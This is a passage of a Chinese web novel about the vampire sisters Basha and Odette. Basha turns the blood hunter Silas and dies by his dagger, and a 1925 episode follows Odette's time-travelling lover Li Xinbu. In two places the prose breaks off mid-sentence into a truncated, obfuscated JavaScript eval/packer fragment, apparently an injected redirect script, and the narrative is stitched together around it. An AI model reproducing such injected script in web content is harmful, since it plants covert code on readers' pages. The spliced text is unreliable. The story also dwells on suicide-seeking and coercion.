仰望着漫天的鹅毛大雪,一时间他竟然无处可去。 十九岁的西拉斯发觉自己再一次变成了那个在街上流浪的孩子,和十岁的他并没有什么两样。 天地之大,他无处可去。 · 薄莎是在教堂前的长椅上找到他的。 简直被他气笑了——身体上披上了厚厚一层雪衣,眉睫、头发结了冰,嘴巴冻成了乌紫色,整个人都冻僵了,没有知觉。 又这么狼狈。 “我似乎只给了你一个小时的自由。”她抓着比自己还要寒凉的身体,隐忍着怒气说:“而你却没有遵守承诺。” “所以,我要给你一点惩罚。” 沉重的眼皮费力地往上抬,泄露出一线绿光,冻得僵硬的手朝她指尖伸去,却只碰到了她的袖角,不知是想将她拉近,还是推远。 但薄莎不在乎。 霍然展开黑翼,她抓着他消失在漫天的风雪里。 …… 西拉斯醒来时,是在城堡的地牢。 炉火烧得很旺,扭曲的火光照亮了围绕在他身边被捆得严严实实的血猎的脸。 那是他的养父,还有好几个与他一同长大的血猎。 此刻大家都怨毒地望着他。 薄莎走入地牢,手里漫不经心地玩着一串珠链,眼睛却落在了西拉斯被冻得发红的溃烂四肢上。 一抹愤怒的痛意悄无声息在心里升腾,又降下,变成一句轻描淡写:“你迟到了九个小时,作为惩罚,我抓了九个人类。” “——来杀。” 西拉斯惊惧地爬到她身边,哀求道:“不要……不要……” 薄莎俯下身,及耳的短发下,水晶耳坠投射下来的光影像是刀片,一下一下切割着他的脸旁。她拨开他额前的碎发,很轻很轻地说:“我并不是一个好说话的人,是什么给了你错觉,让你觉得可以,忤逆我?嗯?” 将掉落在地上的圣银匕首踢到他面前,她说:“你来动手吧。” 西拉斯一个劲地摇头,混着疮血的眼泪糊满了整张脸:“不要……不要……” 薄莎又与他贴近了些,亲自将匕首放到了他的手里。 而她的胸膛距离他的手仅仅只有半英尺,只要他往前一捅,只需要往前一捅,那么一切就能结束。 她能够得到解脱,而他也会得到自由。 她凝眸,看着他手里的利刃,几乎已经迫不及待想要贴上去。 就像,她母亲一样。 父亲死后,母亲总在发疯寻死,总想用父亲的圣银匕首了结自己的性命。每到那时,奥黛会把她锁在房间,自己独身一人去救母亲。 吸血鬼的耳力很好的,她几乎能听清母亲用匕首穿刺奥黛翅膀的每个细节。奥黛的锁困不住她,刚想要冲出去,就听见奥黛的高声喝止—— “薄莎,你出来,我不会原谅你。” 她的脚步顿时止住了,手也收回去了,在房间里煎熬地听着。 等到奥黛血淋淋地回到房里,特意擦干了手上的血迹,才去抹她脸上的泪,“薄莎,不哭。” 越是这样说,她哭得越大声了,委屈、难过、思念、恐惧,但更多的是,无能为力的心疼。 她被奥黛保护得太好了,越是这样,她越觉得自己是奥黛的累赘。 那样的夜晚还有很多次。 每当她抱着奥黛千疮百孔的翅膀轻轻吹,都在想,她好像被永远困在锁里了。 母亲死后,世界上只有她们俩相依为命。 她知道,明明奥黛也想要一场解脱,逃离这个世界,可她无法抛下薄莎不顾。 那么如果是薄莎先死呢? ——只要不自己动手,就不算打开那把锁,走出那扇门。奥黛就不会对她失望。 她寄希望于人类,希望有谁能带走她。那些人宁愿成为她的消遣,向她这样的魔鬼献祭自己的生命,也不愿意伤害她。 懦弱至极! 听说光明巫师在离世前,选中一个血猎当学生,教授光明魔法,她立刻来到了浮城。 没想到这个最有希望杀掉自己的人,却没有将匕首捅进她的心脏,而是,紧紧地抱住了她,用僵硬的温度温暖着她。 “我不该……不听话,我不该忤逆你。都是我不好。让我来接受你的惩罚好吗?不要去伤害别人。” “废物!” “蠢货!” 她痛骂。 他兀自温暖她。 “我的惩罚。”血红的眼睛逐渐加深,她朝他毫不避忌地伸出尖牙:“你知道是什么么?” “……什么都可以。” 薄莎冷冷一笑,一把攥住他的后领,把他往外拖。 在那个燃烧着壁炉的温暖房间,她将尖牙深深地埋进了他的炽热后颈,血液立即从她的牙尖渗出。可她不为吸食,更多的只是在恫吓:“我想把你吸干。” 他没脾气地顺从,心里,甚至还有一丝轻松:“……那就吸干我……” 他为什么可以轻松? 谁准许的?! 薄莎一口咬下他的血肉,吞食着他的轻松。 很苦。 血液很苦,眼泪也很苦。 明明自己都疼成这样了,心里还在想着要取悦她要让她轻松的蠢话。 她血忽淋剌地抬起头,想到,如果她永远出不去那扇门,或者可以囚禁一个人来陪她。 疯狂的想法,一旦诞生就再也塞不回去了。 不过就变成一汪腐烂的血水,和现在又有什么不同么? 她将他翻了个面,残忍地凝望着他的脸。 然后,将尖牙毫无保留地戳了进去。他疼得喘气,却只是仰着脖子,抚摸她发旋。很快,他就连气也喘不出了,手也无力地垂下,身体里的血全部被她吸干了。 掌心的光明印记愈发暗淡,一枝蔷薇花叶悄无声息地攀爬生长。 她用自己的血液灌溉他小臂的蔷薇,她用自己浇注他,把他变成和自己一样的,怪物。 壁炉噼啪作响。 两个冰冷的人如干柴烈火一样燃烧。 屋外,大雪倾覆了满城。 …… 薄莎餍足地醒来,如醉酒般有些跌跌撞撞,碰倒了花瓶。 她弯腰拾起,感受着另一半奇异血液在身体里交融,内心很久违地感到平和宁静。 西拉斯睡在她身边,一动也不动,她无聊地玩了会他修长苍白的手,走出了房间。 奥黛适时打来电话,说感受到浮城的方向,家族里的血脉多了一条,问她为什么? 薄莎窝在沙发里,指尖旋绕着长长的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我?我哪也不去呀。”薄莎笑着说。 她如魂灵一样游荡在这座城堡,无事可做,无计可施,轻嗅着空气里弥漫的苦涩。 直到发现每个地方都很苦涩,这才意识到,她已经拥有了他的一半苦涩。 回到房间,发现西拉斯居然还在。 壁炉边,他用貂皮披风和羊毛大衣垒砌了暖和的巢穴,像一只初生的幼犬一样蜷缩其中,发着抖。 他的眼睛变成了和自己一样的红色,长出和自己一样的尖牙尖甲,身体也和自己一样冰冷。 她朝他伸手,又下意识缩回,因为不想听到任何他心里的怨怼与愤怒。 西拉斯直接把她拽进自己的窝里,箍紧了她,不许她离去。 她找来一副丝绸手套戴上,与他沉默地宣|淫,交合,哺血,像一对交颈的疯狂野兽。 谁也不肯说一句话。 薄莎故意把自己弄得鲜血淋淋,试图用自己的血液唤醒他的使命。 他看上去有些生气,更加剧烈地撞击她,叼咬着她的伤口,又用清凉的舌头舔舐她。 谁也不肯说一句话。 直到,西拉斯度过了新吸血鬼的那几天。 如同蒸发一样消失。 其实如果薄莎有意要寻找,很快就能找到他。 但她没有。如同放生飞鸽一样,她放生他。 偌大的蔷薇城堡,只剩下孤零零的一个她。 很快,城堡再次聚集了许多血族,七嘴八舌地要她主持公道。 说是血猎公会最近有大行动,不知道从哪请来了一个不要命的血猎游侠,疯狂猎杀吸血鬼,还会提前给要猎杀的血族留字条。 一个红发的吸血鬼颤巍巍地取出怀里的字条,呈给薄莎:“请您帮帮我!今天轮到我,明天轮到斯泰因伯爵了!他身边有好几个高阶吸血鬼保护,可我、我怎么办啊!” 薄莎把纸条收走,摩挲着上面歪歪扭扭的字迹,笑:“真丑。” “女爵大人!请您帮帮我啊!”红发吸血鬼哭着说。 “你自求多福吧。”薄莎淡漠地扫了眼他的脸,红眸里闪过一丝警告的光:“早说了,让你们不要胡乱吸食人血,非不听。送客吧,茱莉亚——” 无人响应她。 意识到茱莉亚已经离开了,她冷冷地低头:“怎么,要我亲自送你们?” 一群血族哭着离开了她的城堡。 翌夜。 一向冷清的浮城忽然变得好热闹。不知是什么节日,街上的人都穿着白袍,系着红丝带,手里端着蜡烛,唱着空灵优美的歌曲游行祝祷。 薄莎行色匆匆,不慎与队伍迎面撞上,蜡烛队伍几经风吹,却还是顽强地挺立住了。为首的那个戴着蜡烛花冠的女孩儿递给她一块太阳形状的姜饼饼干,温柔地笑了。 薄莎轻轻问:“你们要去哪?” 女孩儿告诉她,这是本地的迎光节:“我们要去迎接光明啦。你呢?” “我。”薄莎望着漆黑的天穹说:“我要去杀死黑暗。” 说完,她与明亮的队伍背道而驰。 顶着蜡烛花冠的女孩对着她的背影祈祷:“不论你要做什么,祝福你如愿。” 端着蜡烛的队伍随她低头祈祷,很快,队伍慢慢挪动,光明继续播撒。 深夜,浑身是血的薄莎回到蔷薇城堡,却敏锐感知到楼上还有其他人的存在。 ——是西拉斯,还有谁? 她听到楼上传来的打斗声响,几秒钟过后,西拉斯就轻松制服了对方。 “我说过,不要动她,你也不该来这里。”西拉斯沉哑的声音响了起来。 “就是因为你迟迟下不了手,错失那么多良机,副会长才派我来的。” “你不是她的对手。” “那就让她杀掉我!我也算死得其所了!” 西拉斯疲惫地问:“我都已经答应他一天猎杀一只血族了,他为什么还要逼我?” “逼你?这本来就是你应该做的事!谁要光明巫师选择了你!谁要你身上流着那么肮脏的血——你本就该为此赎罪!!” 西拉斯拎着对方往外走,薄莎往后退了两步,潜于立柱后。 他一只手把血猎扔出了门,说:“回去转告副会长,不要动薄莎,不然——” 血猎质问道:“不然呢?你喜欢上她了?你真喜欢上她了?” 西拉斯没有说话,攥着拳,很是隐忍。 他重重地关了门,轻轻叹了口气。 薄莎从立柱后走出,轻笑:“蠢货,你真喜欢我呀?” 看清薄莎身上的血迹后,西拉斯的瞳孔骤然收缩,问:“谁把你伤成这样?” 他凝神细闻,似乎想要分辨出在她身上究竟发生了什么:“……你身上为什么会有斯泰因伯爵的血?” 薄莎点头,隔着丝绸手套久违地抚摸着他的脸,鼓励道:“是呀,你再闻闻。” 他嗅到了被厚重吸血鬼血液掩盖的人血的味道。 惊忡地张着嘴,难以置信地看着薄莎,连连后退:“不……” 薄莎却抓住了他的手,丝毫不允许他后退:“对。你的好养父也被我杀了,还有他身边的那些血猎。全部,被我杀了。” 剧烈的疼痛袭来,他整个人像被什么击中,身体摇摇晃晃:“你答应过我……你明明答应过我……” “是哦,”薄莎惊讶地捂着嘴:“忘记答应过你不杀他们了。那怎么办呢,杀都杀了——” 她望着西拉斯,眼里闪着狡黠的光,仿若初见那天:“那你要杀掉我吗?” “——你要杀掉我么。西拉斯·斯通。”看见他眼里升腾起来的恨意,她从他冰冷的怀中抽出了圣银匕首,放到了他的手中。 握紧他的手,如引诱般缓缓开口:“动手。动手吧。” 西拉斯想要往后退,可她却把他拽离得与自己更近,诛心一般埋怨:“西拉斯,你不暖和了。” 西拉斯浑身一颤,呆呆地站在原地,不知所措。巨大的痛苦和委屈排山倒海袭来,将他吞噬,眼里瞬间淌下晶莹的眼泪。 可他该怎么办?他已经变成了这样。他还能怎么办? 薄莎闭着眼睛,不去看他,幽幽地蛊惑道:“我就是这么杀的他,我先割开了他的喉管,然后把刀扎进了他的胸膛,慢慢往里推,往里搅,他连求饶的话都说不出来,血液溅在我的脸上——” 血液也溅在了西拉斯的脸上。 他惊惧地望着那只被薄莎紧握的手,她包着他那握着匕首的手,就这么直接捅进了她的心口。 顷刻间,薄莎摇摇坠落,总算露出了如释重负的神情:“……原来是这样的感觉……” 原谅我吧。 西拉斯哀嚎着抱着她跪在她身边,身体剧烈颤动,心里也像被她捅穿了。他怎么也无法理解:“为什么非要死!!为什么非要丢下我!” 哀求一般抓紧了她,血与泪潸然落下:“是你——你把我变成这副人不人鬼不鬼的样子!不要、不要就这样丢下我啊!” 薄莎倚在他的怀里,两颗冰冷的心脏无限趋近,扔掉了手套,抓住了他的手,最后一次聆听他的悲伤与苦痛。 “你的黑暗被我都杀光了。”她说:“去做你真正喜欢做的事。不要困在这里。” 西拉斯喉间发出呜咽的哭声,紧紧环抱着薄莎的身体,感受到她像坍塌的神像一样倾倒、崩塌、碎裂、消散,绝望的信徒拼命握紧,却阻挡不住她消失的脚步。 黑色的齑粉慢慢消失,偌大的空荡城堡,甚至连她存在的气息都抹除了。 西拉斯急切地想要留下些什么,抓起一把齑粉就往胸膛贴,可那齑粉就像碎沙一样,越是想紧握,它消失得越快。 还没等他铭记住薄莎的味道,她就全然地消失了。 他茫然而委屈地站在窗边,看向她离开的天际。 又下雪了。 远处传来空灵的祝祷曲,长长的队伍捧着蜡烛消失在路的尽头。 像为她送葬。 寂静的城堡里传出一声又一声凄厉绝望的哀鸣。 直到此时他才真切地感受到了恨。 恨她不爱她。 恨她不爱他。 恨她不爱世界。 恨她情愿去死也不想和他一起活着。 更恨他,留不住她。 白茫茫的眼前忽然浮现出一抹残红,一低头,那抹残红也如影随形。这才发现是她喷溅到他脸上的一点快要干涸的血迹。 于是将那一点血迹从脸上揩下,融进手心的魔法阵里,他要永远把她带在身边。 ——去做自己真正想做的事情吗? 他悲恸地望着手里的圣银匕首,她走了以后,好像把一部分他也给带走了。 究竟什么才是他喜欢做的事? 他只是想让她再出现,无论是骂他蠢货、叫他小血猎,或是把他当成消遣都可以。 他屠完了浮城的吸血鬼。她没有出现。 他封印完了另一位海尔珀林女爵。她依旧没有出现。 在被魔法阵反噬的前,他撑着一口气,爬回了蔷薇城堡。 也许是幻觉,他看见细颈的花瓶里,一枝紫罗兰花瓣正无声掉落到了地上,和她一样高傲又软弱。 他带着恨意拈花长眠,试图遗忘她。 却又在梦里,希冀能再见她一面。 38. 一起来看流星雨 1925年。春夜。 细雨淋湿布鲁克兰赛道,迎面飞驰而来的摩托车中,奥黛一骑绝尘,率先抵达终点,赢得一众欢呼与喝彩的声音。 她摘掉皮革头盔,咬下皮质手套,随手一捋长发,转头时望向正慌张朝她跑来的艾克。 她从没见过艾克如此狼狈的样子,浑身被细雨打湿,头发淋成了绺,跑到她的面前才后知后觉打起了伞。 奥黛问他:“出什么事了?” “是薄莎?”想到薄莎今天要出发去浮城,她表情变得冷肃,压低了声音:“她去浮城不顺利么?” 艾克抬手擦掉额上的水珠,对奥黛说:“薄莎女爵没去成浮城,庄园里来了一位贵客,她正在接待。” “什么贵客?”她难免惊讶。 薄莎闹着要独自去浮城居住已经好久了,她昨天才松口答应。今天薄莎在家里收拾了一整天行李,准备夜里走,不知道究竟是哪里来的贵客改变了她的计划,竟然连心心念念的浮城都不去了? “……”艾克欲言又止,请她上了车:“您回去就知道了。” 黑色轿跑疾驰在霭国的春雨里,不多时,停在了紫罗兰庄园门口。奥黛从车上下来,长靴踏入会客厅,看见薄莎少见地端坐着,居然在正式地招待着客人。 缕缕茶雾浮向空中,氤氲着中国红茶的味道。 奥黛疑惑地望向她对面的人,对方正好回头,也望向她。 是一个英俊的半吸血鬼,带着浅疤的浓眉压住了一双圆润的眼,看上去就像一把没有出鞘的利剑。 见她来了,对方立即站了起来,高大的身影立在她的面前,上扬起了笑,白色的尖牙若隐若现,一侧的酒窝深深陷了下去。 看上去,应该很好戳。 比起这个,她更在意的是他身上的气息——为什么会有些熟悉?就像自己稀释后的血液味道一样——不,不是稀释,是掺入了更为浓烈的甜。 奥黛上下打量了他一眼,忽而眼睛眯起,视线停在了他的手边。 她难以置信地抬起手,自己的蔷薇戒指好端端地戴在手上,那他的那枚是哪里来的? 以及,为什么他身上还有海尔珀林的奴隶印记? “多有意思。” 薄莎摇着扇子走到她身边,下巴尖点了点黎信步,笑着说:“这人说是被你初拥成吸血鬼的,更有意思的是,他居然没有说谎。” 奥黛狐疑地看着他:“你叫什么名字?” “黎信步。”他说,“事情说起来可能有些匪夷所思,大概就是我和你——一百年后的你,正在看流星雨,突然我就来到了这里。” 简直匪夷所思。她怎么会和人类一起看流星雨? 她朝他走近了一步,沉下目光:“你说,我初拥你了?” 对方点头:“是。” 她立刻抬手伸向他的眉心,试图抓到他的破绽:“你是说,一百年后,我初拥你了?” “是。”对方略一低头,主动将自己贴向了她的指尖。 薄莎摇了一下扇子,看热闹不嫌事大:“哇哦。” 奥黛心头忽然生起一把无名火,她的指尖用力,语速变得很快:“你是说,一百年后,我在意识清楚的情况下初拥了意识清楚的你?” 指甲泛着白,可见力度有多大。对方却不避不闪,直视着她:“是。” “……” 过于惊悚。奥黛跌坐在沙发上:“我不能接受。” “我接受!姐夫!” 薄莎啪啦一声合起扇子,坐在奥黛的扶手边,一脸求知若渴地望着他:“快说说,你还知道哪些事?知道我的事情吗?” 黎信步看向薄莎,微微蹙着眉,想了想,对她说:“就是在这一年,你在浮城初拥了一个血猎。那个血猎后来把你杀了,还……” 薄莎挑着眉头,淡淡地笑了一下。 奥黛慢慢直起身子,望向他:“还什么?” 他低头看着奥黛:“他还用魔法阵封印了你一百年。” 薄莎笑容顿时一僵,站了起来,喃喃道:“怎么会这样……” 奥黛这时想起不久前血族传得沸沸扬扬的光明巫师收血猎做学生的事,那个学生似乎也在浮城? 她直接抓住了薄莎的手——成年以后,她和薄莎彼此尊重对方隐私,已经很久不直接用手去接触对方身体了。 可现在,她抓紧了她,血红的眸子注视着薄莎血红的眸子,一字一句问:“你说你要去浮城是为了什么?” 【……】 薄莎没说话。 但是她已经听到了答案。 指间收紧,像是不愿意接受一样,她再次问道:“你去浮城,是为了找血猎杀你?” 啪一声,扇子掉落。 “为什么?” 薄莎低下了头,拒绝与她对视。 黎信步捡起扇子,眼见气氛凝重,立刻劝架:“别吵架,别吵架,还好现在一切都来得及,薄莎没有死,你也没有在坎伯利越野赛后准备自杀——” “闭嘴。”奥黛瞪他一眼,低斥道。 “好巧。你也准备自杀吗?”薄莎突然抬起了头,反握住奥黛的手,聆听她的心声:“我说你最近为什么迷恋上骑摩托车了。” 奥黛:“……” 黎信步:“……” 这时候,艾克轻轻敲了一下门,笑说:“时间不早啦,女爵们,请问今夜我该安排贵客住在哪里?” 气头上,姐妹俩异口同声:“住外面去!” 黎信步:“……” 不论如何,他在紫罗兰庄园住下了。 姐妹俩互不理睬好几天了。 奥黛一连几天都不见踪影。薄莎则把自己关在了房间里,每天摔东西发泄怒火。 在剧烈的响声中,艾克哼着歌给紫罗兰浇水,时不时听声辨物,判断薄莎正在摔的是什么。 黎信步问艾克:“她们俩经常这样吗?” “二十一,青花瓷器。”艾克摇摇头:“从没有过。这是这两百二十六年来,两位女爵第一次吵架哟——托您的福。” 黎信步:“……” 艾克笑着说:“别误会,我不是在阴阳怪气,我是真心为两位女爵感到开心。二十二,留声机。” “开心?” “这样多好啊,以前姐妹俩各自藏着心事,不肯告诉对方,就算有读心能力,也读不懂彼此为对方考虑的心。”艾克听着上面传来的动静,皱了一下鼻子:“二十三,香奈儿5号。现在把心事挑开了,反倒是能读懂对方了。” “你在数什么?” “瞧,薄莎女爵摔了这么多东西,都没摔碎奥黛女爵送她的礼物——不好!!!”艾克面色一变,眼见一排银制烛台破窗而出,直直朝楼下花丛边的他们砸来。 巨大的震声传来,成群的白鸟被惊得飞离树梢。 鸟群下的弯道,一身黑衣的奥黛骑着轰鸣炸响的宝马R32,倾斜着身体,几乎紧贴着地面,平滑优美地冲出弯道,驶向下一段赛道。 黎信步站在树边,看着1925年的奥黛,血红的眼睛里流溢着光华。 实在,太耀眼了。 奥黛骑了一圈又一圈,每到这棵树下,都能够看见这个半吸血鬼。不知道是否是他身上有自己一半血液的缘故,她并不讨厌他。只在每一次过这个弯时,不动声色地打量他。 对方每次见到自己驶来时,身体一动不动,脑袋就像摇头电扇一样紧紧跟随着。 傻。 她想。 骑到第七圈后,她有些力竭,这人动了。 大老远朝她挥手。 她停下,摘下头盔问他:“干嘛?” 他从善如流地接过头盔,“想劝你不要和自己怄气。” 她危险地眯起眼睛:“你以为你很了解我?” 他上前扶住了车把,微微倾身望着她,轻轻叹一口气:“但我只知道,一百年后,你在梦里也会叫薄莎的名字,叫得……很难过。宁愿被光明魔法阵的光线射到,也想听见薄莎再呼喊你一次。所以,趁一切还来得及,和她好好谈一谈,好不好?” 奥黛的指尖微不可见地颤了一下,她问:“你说,你叫什么名字?” “黎信步。”他目光深深地望着她:“我叫黎信步。” “黎信步。”她轻轻地念起了他的名字:“我绝不会无缘无故初拥人类,除非你证明你值得我打破与月亮的誓言。” 黎信步诚恳地点头:“我该,怎么证明?” 奥黛抬起下巴,红色眸子轻轻一闪。 · 无人的车道上,停放着一辆由宝马R32改装的跨斗摩托车,线条硬朗,造型简洁。 它与现代的边三轮有一些类似,由摩托车本身与侧边的钢制车斗组成。 黎信步知道,要驾驶这样的车,需要两人通力配合。一人负责控制速度,另一人则在车斗负责维持车辆的平衡性。在极致的速度下,过每一个弯,对车里的人来说都是巨大的挑战,一旦车斗里那人没有把握好改变重心的时机,那么轻则会被甩出车斗,重则车毁人亡。 奥黛早就想试试跨斗,人类她信不过,身边的血仆又不能与她默契配合。即使吸血鬼很难因车祸事故死亡,但还是会受伤、会疼痛,养伤也很麻烦。 在毁了第四辆车以后,她断了自己试这车的念头。 但既然眼前这人想证明他值得被自己初拥,她也不介意用这车与他试上一次。 奥黛跨坐上车,对黎信步道:“上来。” 话音刚落,黎信步坐了上来,英勇无畏地望着她。 下一刻,跨斗摩托携风卷尘冲出赛道,卷起一阵风烟。 黎信步抓紧了眼前的扶手,可即使抓得再紧,都难以忽略身体方传来的颠簸。颠簸越来越重,他不禁望向奥黛,见到她的唇边挑起一抹淡淡的弧度,在前方的分岔路口中选择了一条看上去更为坎坷的。 于是他也笑了起来。 1925年的奥黛。好可爱。 风烟之中,第一个弯道渐渐显露出了狰狞的面孔,像是巨兽张开了嘴巴,等待着吞噬过路的人。 驶向弯道,车辆的重心发生了变化,轮胎与地面摩擦出了细碎火花,风尘卷着糊味迎头吹来,黎信步的身体被狠狠拍倒,却在危险时刻仍在艰难地伸直长腿,帮助奥黛转移重心。 千分之一秒,奥黛看了他一眼。 如果他说停。她立刻就会停下。 不会将重心压给他,也不会用这样的速度恐吓他。 千分之一秒,黎信步的指尖点在了她的手背上。 她看见他血色的眸子里带着温和的笑意,倒映着她的脸,包容着她所有的恶意。 【不用顾忌我,你想怎么玩儿就怎么玩儿。】 奥黛的薄唇抿成一条直线。 车辆迅速过弯,调整车身的那一刻,她能够感受到他的嘴唇与自己的手臂短暂交错。 似乎,他的唇。很凉也很烫。 焦糊的空气里带着淡淡的甜味。 风里,他助纣为虐般呐喊:“要不要挑战一下你的最快速度吗?” 她问:“你做好准备了么?” 他说:“当然。” 话音刚落,他们很快驶入第二个弯道。 车身猛地一倾,黎信步及时抓住了车架,以自身重量,顺应着奥黛的速度,为车辆调整重心,往外探身。 速度实在太快了,每动一下,都能感受到车斗与主车连接的部分发出脆弱的颤鸣。在这样极致的速度里,他整个人几乎都飞了出去,与车辆连接的部分只有抓住扶手的那一只手。 奥黛的眉心狠狠一跳,刚想调整速度,却看出了他眼里的拒绝。 他看上去简直比她还要疯狂—— 【最快的速度,我想和你一起完成。】 没有出声。也没有触碰。 却听见了他心里的声音。 奥黛无声一笑,与他一同冲向远方,在漫卷的烟尘与羊肠弯道中,他们一起挑战速度的极限。 从没有这样畅快过。 终点处,一片漆黑。 抬头望去,一颗黯淡的流星从天幕上划过。 春风轻柔地吹拂着他们,奥黛坐在车上,仰望着天空问他:“你也想死么?” 黎信步想了想,如实说:“我不想。” 奥黛说:“我还以为你和我一样。” 一样疯狂。一样想死。 可听他说不想,她似乎并没有感到遗憾。 而是一种,淡淡的,松了一口气的感觉。 黎信步偏头对她说:“我只是想陪你。” “哪怕是你不想做的事,你也会陪着我?” “陪你就是我最想做的事,无论是什么。” 良久,奥黛都没有说话,专心致志地盯着天空。 胸腔里发出了一声沉闷的异动。 不知是什么。 头顶上,第二颗、第三颗,越来越多明亮闪烁的流星拖着长尾飞离,就像是一场绚丽的光雨。 “你之前说你是因为一场流星雨来到这里——” 她转头望向黎信步,发现他的身体有一瞬间变得透明,顿了顿,她低声问:“你是不是要走了?” 黎信步露出苍白的笑容:“恐怕是。” 她低下了头:“哦,那你走吧。” 她不在乎。 只是须臾间,黎信步就变得轻飘飘,像轻絮一样,被春风吹向天际,越吹越远。 奥黛抬起头,下意识想要拉他,却追赶不上。 猛踩油门,她在闪闪发光的夜幕中,追逐着他。 车斗上少了一个人,忽然变得空落落的,在每一个拐弯处都异常难行。 胸膛剧烈跳动,她忽然意识到,胸膛里正跳动着的是她的心脏。 一颗沉甸甸的,刚刚苏醒,就要经历离别的心脏。 “黎信步!” 她从忽地车上跃起,展开她从不示人的黑翼,用力扑上高空,死死拽住了他半透明的手,急声问: “我和你、还会再见面吗——” 时空扭曲了他的面容,模糊了他大半身体,带走了他的声音,那只手被她死死拽住的手也在渐渐消失。 却在消失的前一秒,朝她递去了心音: 【我们一定会再见面的。】 【奥黛,好好活下去,等我来找你。】 与此同时,指尖如同过电一样,传来了他的什么东西。 他告诉她,这是快乐。 他在快乐地爱她。 也在快乐地道别。 奥黛抓紧了那一点快乐,抵在了心口,心口顿时荡漾出了酥酥麻麻的感觉,被一阵温风轻柔地熨帖。 他这个人,真是一点负面情绪都没有留给她。 就连离别也是快乐的。 充满期待。 流星雨转瞬即逝,空旷的终点,忽然浮现了一抹甜血的气味。 她并不是多管闲事的人,却还是将自己的力量涂抹在了怀表上,送给那个即将被吸血鬼分食的甜血女孩。 一如黎信步祝福她一样,她祝福对方:“好好活下去。” “您的衣服!”甜血女孩在她身后喊道。 “不用了。”她说。 “我,我会清理干净还给您的!”小女孩大声说。 奥黛没再说话,一个人骑着跨斗摩托驶向未来的世界。 “一百年而已。” 她轻声同自己说:“我等得到。” · 紫罗兰庄园。 奥黛来到薄莎的门前,一拧,门仍反锁着。 她曲起指节,敲了一下门:“要和我谈谈么?” 门里传来薄莎的声音:“我已经睡了。” “那算了。”她转身离开。 耳朵贴在门边聆听动静的薄莎,听见奥黛离开的脚步声,重重地跺了一下脚,撑着脸坐在满屋的废品里。 故意把手边的摆件摔出了声音,都没有阻住她远去的脚步。 又是这样。又是这样! 她无计可施地生着闷气。 笃笃笃。 玻璃窗发出了响声,以为是鸟或是什么,刚想去驱逐,却在窗缝间嗅到了一丝奥黛的气味。 心里闪过一个可能性,她加快了脚步,被歪倒的瓶瓶罐罐绊倒了好几下,却更快地朝窗边跑去。 一把拉开窗帘,她的眼睛都亮了起来。 她果然看到奥黛! 成年后再也不向人展示翅膀的奥黛,此刻竟然张开了残破的双翼悬停在了她的窗边,像是无数次在树下接住她一样,朝她伸开了双臂。 “可以谈一谈么?”她对她说。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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有那么一瞬间,薄莎意识到,自己或许不该把那些对自己一片赤诚献上快乐的人当成消遣。 奥黛却握紧了她的手,想让她更加快乐。 在这样温柔的快乐里,薄莎低声说:“你知道了吧,我去浮城是为了找血猎杀死我。” “为什么?” “我不能自我了断,让你像失去母亲那样失去我。我也不想,成为你的累赘。”她轻轻说:“我知道,你其实也很想得到解脱,只是因为不放心我才一直没有行动,不是么?” “是。”奥黛温柔擦掉她的眼泪:“可是薄莎从来就不是奥黛的累赘啊。这两百年来,如果说有什么值得奥黛活下来,那就是薄莎了。要不是薄莎,二百二十六年,奥黛又该怎么撑下去呢?” 薄莎轻拥着她的翅膀,抚摸上面的伤疤,泣不成声:“那为什么要把我锁起来?还说,还说不原谅我的话……我也很想替你分担。” 奥黛皱眉:“会很痛啊。” “很痛我也想替你分担。”薄莎说:“我们是双生子,还有谁比我更应该分担你的痛苦吗?” “可我是姐姐。” 顿了片刻,薄莎突然站起来说:“那就让我当姐姐——从现在开始,我当你姐姐,让我来保护你。” 奥黛抬头看着她,点了一下头:“好。” 薄莎雀跃地坐到了床上,再次去聆听她手里的快乐,“这是,他给你的吗?” 奥黛嘴角轻轻上扬:“是。” 薄莎:“那他人呢?” “他回到一百年后了。” “……去那么远了啊。” 沉默一会,奥黛对她说:“我也想去一百年后的世界看看,你要不要和我一起?” 薄莎立刻说:“当然要一起了!我可要保护你。” 姐妹俩相视一笑,继续说着两百年没有说过的悄悄话。 房内没有开灯,微风透过半掩的窗户吹动了雪白的纱帘,一束柔和的月光穿入,两人的影子在月光下凑到了一起,聆听快乐的声音。 听见楼上时不时传来笑声,在给紫罗兰浇水的艾克忍不住抬起头,望着楼上飘动的窗帘,露出了温馨的微笑。 他放下花洒,抬指对月,虔诚祷告: “赞美月亮皎洁华光。” “感谢月亮赐我力量。” “祈祷月亮护佑海尔珀林两位女爵幸福快乐。” 第二天的夜晚,月亮依旧高悬。 薄莎拉开窗帘,从窗户边探出头来:“艾克,在祷告呀?” 话音刚落,她轻身一跃,跳到了他的面前,笑着打招呼。奥黛从门里走出,轻轻朝他点头。 艾克脱帽行礼,看着她们整齐打扮的样子,便问:“二位女爵是要出门?需要用车吗?” 薄莎挽住奥黛的手:“不用啦,我只是和妹妹随便逛逛。” “妹妹?”艾克一顿。 奥黛露出了无奈的神情,并没有纠正称呼。 ——她们说好了,这两百年要让薄莎当姐姐。 艾克微笑着说:“注意安全,两位女爵。” “知道啦!吸血鬼的安全有什么可注意的,该注意的是人类吧!”薄莎做了一个鬼脸,脚步轻快地走了。 街上很热闹。 恰逢木兰花花期,绅士与淑女们停驻在路灯下,于柔和悠扬的手风琴的乐声中,观赏着这象征着英勇无畏、爱与忠诚的纯洁花朵。 薄莎对赏花并没有什么兴趣,突然想吃马卡龙,便拉着奥黛去买。 花香阵阵,迎面来了一个穿着棉布衬衫的黑发少年,看上去瘦瘦高高,很是单薄。薄莎往左,他往左,薄莎往右,他往右,只听砰一声,两人不小心正巧撞上。 一束斜插在了他胸前的紫罗兰掉了出来,落到了地上。 他蹲下拾起,抬起头时,一双碧绿的眼睛微微眨动,对薄莎轻声说:“对不起女士,没有撞疼您吧。” 语气里带着一丝快乐又悲痛的祈祷,希望她能看看自己。 